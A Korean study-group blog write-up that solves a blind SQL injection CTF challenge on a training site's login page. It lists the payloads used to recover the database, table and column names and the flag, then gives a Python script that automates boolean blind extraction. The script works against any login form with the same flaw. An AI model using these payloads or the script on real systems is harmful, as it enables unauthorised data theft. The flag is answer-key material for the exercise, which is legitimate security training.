모의해킹 스터디 과제

모의해킹 스터디 7주차 과제(2): CTF - Blind SQLi

whydontyoushovel 2024. 12. 8. 06:01

 

순서

  • CTF 풀이 (1문제)
  • 파이썬 자동화 코드

 

 

  CTF: Blind SQL Injection 

 

 

1) SQL Injection 포인트 찾기

2) SELECT 문 사용 가능한지 체크

3) 공격 포맷 만들기

4) DB 이름 찾기

5) 테이블 이름 찾기

6) 컬럼 이름 찾기

7) 데이터 추출하기

 

 

 

♨ SQL Injection 6 

Flag Find

제공된 계정: normaltic / 1234

 

 

 

 

<흐름>

sqli_3 페이지 요청

-> 응답 코드 301 영구 이동, 인덱스 페이지 리다이렉트

-> 인덱스 페이지 요청

-> 응답 코드 302, 로그인 페이지로 리다이렉트하면서 세션아이디 발급

-> 로그인 페이지 요청 -> 응답 코드 200, 로그인 페이지 줌

-> POST 로그인 데이터 전달 -> 성공 시 응답코드 302, 인덱스 페이지 리다이렉트

-> 인덱스 페이지 요청 -> 200, 인덱스 페이지 줘

 

 

응답 코드 301

더보기

영구 이동 (moved permanently)

 

 

 

 

 

㉮  SQL Injection 포인트 찾기

 

에러 메시지가 출력되는지 확인하기 위해

normaltic'
1234

 

와 같은 데이터를 입력한 결과 에러 메시지를 출력하지 않음.

 

Error-Based SQL Injection은 안됨!

 

하지만

normaltic' and '1'='1
1234

 

를 제출했을 때 로그인 성공함.

작은 따옴표 등의 기호를 쿼리문을 인식하고 있다는 뜻이므로 SQL Injection의 가능성 충분.

 

 

참/거짓 조건을 넣어 반응 차이를 확인해봄.

 

normaltic' and '1'='1
1234

항상 참인 항등원을 넣어서 실험한 결과 로그인 성공

 

 

normaltic and '1'='2
1234

항상 거짓인 조건을 and로 연결해 실험한 결과 로그인 실패

 

참/거짓에 대한 반응 차이를 확인했으므로 이번엔 괄호가 필터링되지 않는지 확인

 

 

normaltic' and ('1'='1') and '1'='1
1234

 

입력 결과: 로그인 성공

==> 괄호 안 조건이 참인 경우 로그인 성공함.

 

normaltic' and ('1'='2') and '1'='1
1234

 

입력 결과: 로그인 실패

==> 괄호 안 조건이 거짓인 경우 로그인 실패

 

 

해당 로그인 페이지는 사용자가 입력한 값을 필터 없이 쿼리문으로 인식하고 있고 참, 거짓 조건을 추가했을 때 각각 로그인 성공, 실패라는 반응을 보이고 있음.

  

-   Blind SQL Injection 될 듯!  -

 

 

 

㉯  SELECT 문 사용 가능한지 체크

 

이번엔 괄호 안에 간단한 select문을 넣어 select문이 필터링되지는 않는지 확인함.

 

normaltic' and ((select 'test')='test') and '1'='1
1234

 

제출 결과: 로그인 성공

 

select에도 별다른 필터링 기능이 없는 듯하다.

 

 

 

㉰  공격 포맷 만들기

 

가장 기본적인 포맷은 아래와 같음.

normaltic' and ( _______ ) and '1'='1

 

 

하지만 이정도로는 select문으로 뽑은 데이터를 한글자 한글자 알아낼 수 없음

그래서 문자 하나만 뽑을 substr함수와 뽑은 문자를 아스키코드로 바꿔줄 ascii 함수가 필요.

 

 

두 함수를 적용한 결과 이런 형태가 됨.

normaltic' and (ascii(substr((select _______), 1, 1)) > 70) and '1'='1

 

 

select문으로 뽑은 첫번째 글자를 아스키코드로 변환해서 그 값이 70보다 큰지 비교하고 있음.

이렇게 만들어두면 select문 안의 쿼리와 substr의 두번째인자, 비교할 값만 바꿔가며 DB 데이터를 찾아낼 수 있음.

 

 

https://www.ibm.com/docs/ko/sdse/6.4.0?topic=administering-ascii-characters-from-33-126

 

33에서부터 126까지의 ASCII 문자

여기에서 제공되는 표는 33부터 126까지의 ASCII 문자를 표시합니다. 이들은 암호화 seed 문자열에서 사용할 수 있는 문자입니다. ASCII 코드 문자 ASCII 코드 문자 ASCII 코드 문자 33 ! 느낌표 34 " 큰따옴

www.ibm.com

 

이제 본격적으로 DB를 털어볼 차례임.

 

 

㉱  DB 이름 찾기

 

DB 이름 찾는 쿼리:

select database()

 

공격 포맷: 

normaltic' and (ascii(substr((select _______), 1, 1)) > 70) and '1'='1

 

페이로드:

normaltic' and (ascii(substr((select database()), 1, 1)) > 70) and '1'='1

 

 

로그인 요청한 패킷을 리피터로 보내고 url 디코딩, auto-scroll설정을 완료함.

 

DB이름을 찾기에 앞서 글자수를 찾기 위해

normaltic' and (length((select database())) > 4) and '1'='1

를 입력한 결과 총 글자 수는 6자인 것으로 확인.

 

=======> DB이름 글자 수: 6

 

  

DB의 첫번째 글자를 찾기위한 준비를 완료함.

 

 

DB 첫번째 글자의 아스키코드를 70과 비교한 결과 로그인 페이지로 리다이렉트됨.

참임. 70이상 126이하. 70자리에 98을 넣어봄.

참임. 98이상 126이하. 112를 넣어봄.

참임. 112이상 125이하. 119를 넣어봄.

거짓임. 112이상 119이하. 116 넣어봄.

거짓임. 112이상 116이하. 114 넣어봄.

참임. 114이상 116이하. 115 넣어봄.

거짓임. 114이상 115이하. 115와 같은지 확인함.

참임. DB 첫번째 글자는 115 -> 소문자 s

 

=======>DB 첫번째 글자: 소문자 s

 

두번째 글자를 찾기 위해 substr의 두번째 인자를 2로 바꿔주고 70보다 큰지 비교

참임. 70이상 126이하.98 넣어봄.

참임. 98이상 126이하. 112 넣어봄.

참임. 112이상 126이하. 119 넣어봄.

거짓임. 112이상 119이하. 115 넣어봄.

거짓임. 112이상 115이하. 113 넣어봄.

거짓임. 112이상 113이하. 113과 같은지 확인.

참임. 두번째 글자는 113 -> 소문자 q   (sqli_3이겠구만)

 

========> DB 두번째 글자: 소문자 q

 

 

세번째 글자가 소문자 l인지 확인하기 위해

substr의 두번째 인자를 3으로 바꿔주고 108과 같은지 비교.

참임. 세번째 글자는 108 -> 소문자 l 

 

=======> DB 세번째 글자: 소문자 l

 

4, 5, 6 글자가 i, _, 3인지 확인하기 위해

105, 95, 51과 같은지 확인

모두 참임. 

 

=======> DB 이름: sqli_3

 

 

 

㉲  테이블 이름 찾기

 

테이블 이름 찾는 쿼리:

select table_name from information_schema.tables where table_schema = 'sqli_3' limit 0,1

 

공격 포맷:

normaltic' and (ascii(substr((select _______), 1, 1)) > 70) and '1'='1

 

페이로드:

normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema = 'sqli_3' limit 0,1), 1, 1)) > 70) and '1'='1

 

 

1) 첫번째 테이블

 

 

먼저 첫 테이블의 글자 수를 알아내기 위해

normaltic' and (length((select table_name from information_schema.tables where table_schema = 'sqli_3' limit 0,1)) > 5) and '1'='1

를 넣어봄.

 

확인 결과 

====> 테이블1의 글자 수: 10

 

테이블1의 이름 중 첫번째 글자를 알아내기 위해 70과 비교

참임. 70이상 126이하. 98 넣어봄.

참임. 98이상 126이하. 112 넣어봄.

거짓임. 98이상 112이하. 105 넣어봄.

거짓임. 98이상 105이하. 102 넣어봄.

거짓임. 98이상 102이하. 100 넣어봄.

참임. 100이상 102이하. 101 넣어봄.

참임. 101이상 102이하. 102와 같은지 확인.

참임. 첫번째 글자는 102 -> 소문자 f

 

=======> 테이블1 첫번째 글자: 소문자 f

 

테이블1의 두번째 글자가 102보다 큰지 비교

참임. 102이상 126이하. 114 넣어봄.

거짓임. 102이상 114이하. 108 넣어봄.

거짓임. 102이상 108이하. 105 넣어봄.

참임. 105이상 108이하. 108과 같은지 확인

참임. 두번째 글자는 108 -> 소문자 l

 

=======> 테이블1 두번째 글자: 소문자 l

 

flag_table인지 확인하기 위해

테이블1의 3, 4, 5, 6, 7, 8, 9, 10번째 글자와

97, 103, 95, 116, 97, 98, 108, 101와 같은지 확인

모두 인덱스 페이지로 리다이렉션하고 있음.

 

=======>테이블1: flag_table

 

 

2) 두번째 테이블

 

 

먼저 두번째 테이블의 존재 여부와 글자 수를 알아보기 위해

normaltic' and (length((select table_name from information_schema.tables where table_schema = 'sqli_3' limit 1,1)) > 0) and '1'='1

를 넣어봄.

 

확인 결과 두번째 테이블이 있으며 글자 수는 6자임.

또한 세번째 테이블은 없음.

 

======> 테이블2 글자 수: 6

(member겟지)

 

 

normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema = 'sqli_3' limit 1,1), 1, 1)) > 70) and '1'='1

 

 

member인지 확인하기 위해

substr의 두번째 인자를 1, 2, 3, 4, 5, 6으로 차례로 변경하고

109, 101, 109, 98, 101, 114와 같은지 비교함.

모두 참.

 

======> 테이블2: member

 

 

 

㉳  컬럼 이름 찾기

 

컬럼 이름 찾는 쿼리:

select column_name from information_schema.columns where table_name = '테이블이름' limit 0,1

 

공격 포맷:

normaltic' and (ascii(substr((select _______), 1, 1)) > 70 ) and '1'='1

 

페이로드:

normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name = '테이블이름' limit 0,1), 1, 1)) > 70 ) and '1'='1

 

 

flag_table

 

먼저 컬럼의 총 개수와 각각의 글자 수를 알아보기 위해

normaltic' and (length((select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1)) > 0) and '1'='1

을 보내봄.

 

1행에 4자리 컬럼명이 있고 다른 컬럼은 없는 것으로 확인됨.

 

 

저 4자리 컬럼명이 flag인지 확인하기 위해

normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1), 1, 1)) > 70 ) and '1'='1

 

substr의 두번째 인자를 1, 2, 3, 4로 바꾸고

각각 102, 108, 97, 103과 같은지 비교함.

모두 인덱스 페이지로 리디렉션 시키고 있음.

 

======> flag_table의 컬럼: flag

 

......파이썬 연습하라고 내신 문제인가봐.....

 

 

member

 

먼저 컬럼의 총 개수와 각각의 글자 수를 알아보기 위해

normaltic' and (length((select column_name from information_schema.columns where table_name = 'member' limit 0,1)) > 0) and '1'='1

을 보내봄.

 

member 테이블의 컬럼 수는 총 3개이고

첫번째 컬럼의 글자 수는 2자

두번째 컬럼의 글자 수는 4자

세번째 컬럼의 글자 수도 4자 임.

 

 

1) 첫번째 컬럼

 

normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name = 'member' limit 0,1), 1, 1)) > 70 ) and '1'='1

 

id인지 확인하기 위해

substr 두번째 인자를 1, 2

각각 아스키코드를 105, 100 으로 하고 같은지 비교

모두 참.

 

======> member의 첫번째 컬럼: id

 

2) 두번째 컬럼

 

pass인지 확인하기 위해 limit 1,1로 바꾸고

1, 2, 3, 4번째 글자와

112, 97, 115, 115를 비교

모두 참

 

=====> member의 두번째 컬럼: pass

 

3) 세번째 컬럼

 

요놈이 info일지, name일지 모르겟다.

 

name인지 확인하기 위해 limit 2,1로 바꾸고

1, 2, 3, 4번째 글자의 아스키코드가

110, 97, 109, 101과 같은지 확인

모두 참.

 

======> member의 세번재 컬럼: name

 

 

 

㉴  데이터 추출하기

 

데이터 추출하는 쿼리:

select 컬럼명 from 테이블 limit 0,1

 

공격 포맷:

normaltic' and (ascii(substr((select _______), 1, 1)) > 70 ) and '1'='1

 

페이로드:

normaltic' and (ascii(substr((select 컬럼명 from 테이블 limit 0,1), 1, 1)) > 70 ) and '1'='1

 

 

 

flag_table

 

1) flag

 

먼저 데이터의 개수와 글자 수를 알아보기 위해

normaltic' and (length((select flag from flag_table limit 0,1)) > 0) and '1'='1

실행

 

확인 결과 한 행의 데이터가 있었고 이 데이터의 총 글자 수는 25자임.

 

=====> flag_table -> flag -> 데이터 총 글자 수: 25

 

 

normaltic' and (ascii(substr((select flag from flag_table limit 0,1), 1, 1)) > 70 ) and '1'='1

 

첫번째 글자를 아스키코드 115와 같은지 비교

참임. 첫번째 글자는 115 -> 소문자 s

 

========> 첫번째 글자: 소문자 s

 

segfault{

 

까지 확인하기 위해

1, 2, 3, 4, 5, ,6 ,7, 8, 9번째 글자와

115, 101, 103, 102, 97, 117, 108, 116, 123을 비교

모두 인덱스로 리다이렉트시키고 있음.

 

========> 1~9: segfault{

 

열번째 글자를 확인하기 위해 70과 비교

거짓. 33이상 70이하. 58 넣어봄.

참. 58이상 70이하. 64 넣어봄.

참. 64이상 70이하. 67 넣어봄.

거짓. 64이상 67이하. 65 넣어봄.

참. 65이상 67이하. 66 넣어봄.

거짓. 65이상 66이하. 66과 같은지 확인

참. 10번째 글자는 66 -> 대문자 B

 

=======> 10번째: 대문자 B

 

11번째 글자와 108이 같은지 비교.

참임. 11번째 글자는 108 -> 소문자 l

 

=======> 11번째: 소문자 l

 

12, 13, 14번째 글자와

105, 110, 100이 같은지 비교

모두 참. 

 

======> 12~14번째: ind

 

15번째 글자와 70을 비교

참. 70이상 126이하. 98을 넣어봄.

거짓. 70이상 98이하. 83과 같은지 확인

거짓. 83보다 큰지 비교

참. 83이상 98이하. 91 넣어봄.

참. 91이상 98이하. 94 넣어봄.

참. 94이상 98이하. 96 넣어봄.

거짓. 94이상 96이하. 95 넣어봄.

거짓. 94이상 95이하. 95와 같은지 비교.

참. 15번째 글자는 95 -> 밑줄 _

 

========> 15번째: _

 

16번째 글자와 95를 비교

거짓. 33이상 95이하. 70 넣어봄

참. 70이상 95이하. 84 넣어봄.

거짓. 70이상 84이하. 77 넣어봄.

참. 77이상 84이하. 80 넣어봄.

참. 80이상 84이하. 82 넣어봄.

참. 82이상 84이하. 83 넣어봄.

거짓. 82이상 83이하. 83과 같은지 확인.

참. 16번째 글자는 83 -> 대문자 S

 

========> 16번째: 대문자 S

 

17번째가 108과 같은지 확인.

거짓. 81과 같은지 확인

참. 17번째 글자는 81 -> 대문자 Q

 

========> 17번째: 대문자 Q

 

18번째가 76과 같은지 확인.

참. 18번째 글자는 76 -> 대문자 L

 

=========> 18번째: 대문자 L

 

19번째가 105와 같은지 확인.

참. 19번째 글자는 105 -> 소문자 i

 

=======> 19번째: 소문자 i

 

20번째가 105보다 큰지 비교.

아악 거짓. 33이상 105이하. 69 넣어봄.

참. 69이상 105이하. 82 넣어봄.

참. 82이상 105이하. 94 넣어봄.

참. 94이상 105이하. 100 넣어봄.

거짓. 94이상 100이하. 97 넣어봄.

거짓. 94이상 97이하. 95 넣어봄.

거짓. 94이상 95이하. 95와 같은지 확인.

참. 20번째 글자는 95 -> 밑줄 _

 

=======> 20번째: _

 

21번째가 95보다 큰지 비교

거짓. 33이상 95이하. 70 넣어봄.

거짓. 33이상 70이하. 65 넣어봄. (대문자 A)

참. 65이상 70이하.  67 넣어봄.

참. 67이상 70이하. 68 넣어봄.

참. 68이상 70이하. 69 넣어봄.

거짓. 68이상 69이하. 69와 같은지 확인.

참. 21번째 글자는 69 -> 대문자 E

 

========> 21번째: 대문자 E

 

22번째가 70보다 큰지 비교

거짓. 33이상 70이하. 65 넣어봄.

거짓. 33이상 65이하. 49 넣어봄.

참. 49이상 65이하. 52 넣어봄.

참. 52이상 65이하. 58 넣어봄.

참. 58이상 65이하. 62 넣어봄.

참. 62이상 65이하. 64 넣어봄.

참. 64이상 65이하. 65랑 같은지 확인.

참. 22번째 글자는 65 -> 대문자 A

 

======> 22번째: 대문자 A

 

23번째 글자와 70 비교

참. 70이상 126이하. 98 넣어봄.

거짓. 70이상 98이하. 84 넣어봄.

거짓. 70이상 84이하. 77 넣어봄.

참. 77이상 84이하. 81 넣어봄.

참. 81이상 84이하. 83 넣어봄.

거짓. 81이상 83이하. 82 넣어봄.

참. 82이상 83이하. 83과 같은지 확인.

참. 23번째 글자는 83 -> 대문자 S

 

=======> 23번째: 대문자 S

 

24번째 글자와 83 비교

참. 83이상 126이하. 100 넣어봄.

거짓. 83이상 100이하. 93 넣어봄.

거짓. 83이상 93이하. 88 넣어봄.

참. 88이상 93이하. 90 넣어봄.

거짓. 88이상 90이하. 89 넣어봄.

거짓. 88이상 89이하. 89와 같은지 확인.

참. 24번째글자는 89 -> 대문자 Y  (이즤~~)

 

=======> 24번째: 대문자 Y

 

25번째 글자와 125가 같은지 비교

참. 25번째 글자는 125 -> 닫는 중괄호 }

 

=======> 25번째: }

 

 

최종 플래그 (접은글 안에 플래그 있음 주의)

더보기

segfault{Blind_SQLi_EASY}

 

 

________플래그 발견

 

여기까지 한 3시간 15분 정도 걸린 것 같다. 

 

 

 

 Blind SQL Injection 파이썬으로 자동화하기

 

<로직>

길이 알아내는 페이로드 보냄

-> 알아낸 길이 변수에 저장

-> 길이에 따른 반복문 수행 (몇 번째 글자인지 지정)

-> 해당 글자의 아스키코드 알아내는 알고리즘

-> 알아낸 아스키코드 변수에 저장

-> 저장된 아스키코드를 문자로 변환하여 저장

-> 저장된 문자열 출력

 

import requests

url = "http://ctf2.segfaulthub.com:7777/sqli_3/login.php"

sql = input("SQL> ")

#글자 수 알아내기

n = 0

for n in range(51) :
    len_payload = f"length(({sql})) > {n}"

    data = {
    "UserId" : f"normaltic' and ({len_payload}) and '1'='1",
    "Password" : "1234",
    "Submit" : "Login"
    }

    response = requests.post(url, data = data)


    if "Incorrect information." in response.text:
        print(f"{len_payload}, {response}")
        print(f"글자 수: {n}")
        break
    
    else :  #거짓이다!작다!!
        continue



#글자 알아내기

ascii_list = [] #나온 아스키코드 저장할 변수


for i in range(1, n+1) :
    min = 33 #최소값
    max = 126 #최대값

    while max > min:

        j = (max+min)//2 #기준값
        payload = f"ascii(substr(({sql}), {i}, 1)) > {j}"

        data = {
        "UserId" : f"normaltic' and ({payload}) and '1'='1",
        "Password" : "1234",
        "Submit" : "Login"
        }

        response = requests.post(url, data = data)


        if "Incorrect information." in response.text:
            max = j
        else :
            min = j + 1  

    
    ascii_list.append(min)

result = "". join(chr(c) for c in ascii_list)
print(f"추출된 데이터: {result}")

 

 

 

글자 수 알아내기 ㅇ

데이터 알아내기 ㅇ

limit 안 써도 주루룩 x (데이터 여러 행이면 limit 써야 함. 안 쓰면 글자 수 0 뜸)

영어 제외한 한글 등 문자열 추출 x

 

완전한 코드라고 보기 어렵겠지만 이만큼 구현하는데도 여러 문제를 겪었었는데,

 

1) 로그인 성공/실패 조건 (참, 거짓 조건)을 무엇으로 판단할 것이냐.

2) 아스키코드 알아내는 알고리즘의 while문 조건을 어떻게 줄 것이냐.

 

이 두가지가 가장 어려웠던 것 같다.

 

 

첫번째 로그인 성공/실패 조건은 처음에 302 상태 코드를 참 조건으로 설정했다.

버프 스위트를 보아하니 로그인 성공(참)하면 리디렉션하는군. 좋아 너로 정했다. 했던 건데 웬걸, 파이썬에서 받은 상태코드는 200만 뜨더랬다. 노말틱 님께서 알려주시기를 requests 라이브러리의 특징이라고 하셨다. requests 라이브러리는 302 코드를 잡아내지 않는 모양..

그래서 나는 로그인 실패(거짓)할 경우 html에 뜨는 문구를 이용해서 조건을 나눴다.

 

근데 찾아보니 302를 캐치하게 만드는 옵션이 있나보다.(allow_redirects=False)

아래와 같이 바꿔서 시도해봤더니 수정 전 (로그인 실패 경우를 조건으로 줬을 때)과 같은 결과를 출력했다.

    response = requests.post(url, data = data, allow_redirects=False)

    if response.status_code == 302 : #로그인 성공(참)
        continue
    else :
        print(f"{len_payload}, {response}") #로그인 실패(거짓)
        print(f"글자 수: {n}")
        break

 

 

 

while문 조건은 반복을 언제 멈출 것이냐와 연관이 되어있다. 만약 최소값이 최대값보다 클 때 멈추게 하려면 최소값이 최대값보다 작은 동안 돌아가게 하면 된다.

그 일련의 과정이 아스키코드의 최대값, 최소값, 기준값에 의해 결정될 거라는 건 알았는데(이때 좀 뿌듯했다.) 적절한 조건을 주지 않으니 원하는 결과가 나오지 않았다.(이때 대가리 깼다.) 이걸 확실한 조건으로 만들려면 시뮬레이션을 여러번 돌려봐야 했다.

 

임의의 아스키코드 값 하나를 잡고 수동으로 이진탐색하는 시뮬레이션을 몇 번 돌린 결과 마지막엔 항상 max값이 내가 찾는 최종값이 되고 min값은 찾는 값보다 하나 작은 값이 되어 무한히 출력된다는 것을 발견했다.

예를 들어 107을 찾는다고 할 때 처음엔 무조건 33에서 126의 중간 값인 79를 기준으로 이진탐색을 시작할 것이다. 몇 번의 탐색을 거치며 점점 107과 가까워지다가 max는 107이 되지만 min은 106에서 더 나아가지 못하고 106이 무한히 출력된다는 뜻이다.

 

정확한 계산 결과는 107과 106의 중간 값인 106.5가 맞지만 (min+max)//2를 실행하면 소수점은 버려지고 정수만 남게 되므로 106에서 더 나아가지 못하게 되는 것이다.

또한 106은 107보다 작으므로 106이 반복되는 동안은 로그인 결과가 참인 부분(else)이 실행될 것이다. 여기선 최소값을 중간값으로 갱신한다.

 

이 문제를 해결하기 위해 몇 가지를 떠올릴 수 있다.

 

1) 갱신된 max가 이전 max와 같을 때 종료

2) 참이 나올 경우 min에 1을 더해 max가 min보다 큰 동안 실행 while max > min

   == ( max와 min이 같거나 min이 더 커질 때 while문 종료 )

 

 

1) 갱신된 max와 이전 max 비교 시

for i in range(1, n+1) :
    min = 33 #최소값
    max = 126 #최대값
    b_max = 0

	while max != b_max :
 
 		#어쩌구 저쩌구 기준값 갱신, 요청 보내는 코드 생략

        if "Incorrect information." in response.text:
            b_max = max
            max = j
            print(f"max : {max}")
        else :
            min = j + 1
            print(f"min : {min}")

 

갱신된 max와 이전 max를 비교하기 위해 b_max라는 변수를 선언하고 응답 결과가 거짓일 경우에만 b_max에 이전 max값을 할당한다. 이것만 추가할 경우 select database()를 실행했을 때 min값이 영원히 114에서 반복되기 때문에 min갱신 시 1을 더해준다.

실행 결과 "sqli_3"이 출력된 것을 확인하였다. 

 

 

2) max가 min보다 큰 동안 실행

for i in range(1, n+1) :
    min = 33 #최소값
    max = 126 #최대값

	while max > min :
		#어쩌구 저쩌구 기준값 갱신, 요청 보내는 코드 생략
        
        if "Incorrect information." in response.text:
            max = j
            print(f"max : {max}")
        else :
            min = j + 1
            print(f"min : {min}")

 

이때도 min값을 갱신할 때 +1 해주지 않으면 select database() 실행 시 114가 무한 반복된다. 따라서 min값이 최종 max값과 같거나 커질 수 있도록 +1을 추가해준다. 그러면 원하는 결과값을 받을 수 있다.

 

 

이렇게 두 가지 버전의 알고리즘을 만들어봤다. 둘 다 실행이야 되지만 두번째 버전이 첫번째 버전에 비해서 코드가 깔끔하고 의도가 잘 보이는 편인 듯하여 두번째 버전에 마음이 간다.

 

 

 

 

이것도 영어라 그나마 금방 끝난 거지 한글이나 여타 다른 언어가 서버의 DB에 사용될 경우 추가적인 보완이 필요하다. 미래의 나를 위해 몇몇 방법을 정리해본다.

 

1) 유니코드 활용

https://brightnightsky77.tistory.com/230

 

[Python] chr 내장 함수 : 유니코드를 한 문자로 변환

2021.05.31 - [프로그래밍/Python] - [Python] ord 내장 함수 : 한 문자를 유니코드로 변환 [Python] ord 내장 함수 : 한 문자를 유니코드로 변환 백준에 있는 문제들을 풀면서 알파벳이나 숫자들을 유니코드로

brightnightsky77.tistory.com

 

 

2) 한글 인코딩

EUC-KR

UTF-9

(이 경우 둘 중 어떤 방법을 서버에서 사용 중인지 알아야 함.)

 

 

3) 노말틱님 방식 (이진법 활용)

substr(bin(ord(substr((select ________), 1, 1))), 1, 1)

첫번째 글자 뽑아서 유니코드 숫자로 바꾸고 그걸 이진법으로 바꿔서 0인지 1인지 판단

-> 첫번째 글자의 8비트 이진법 문자 (ex. 11010100) 생성

-> .....그리고 다시 문자로 변환하겟지? ..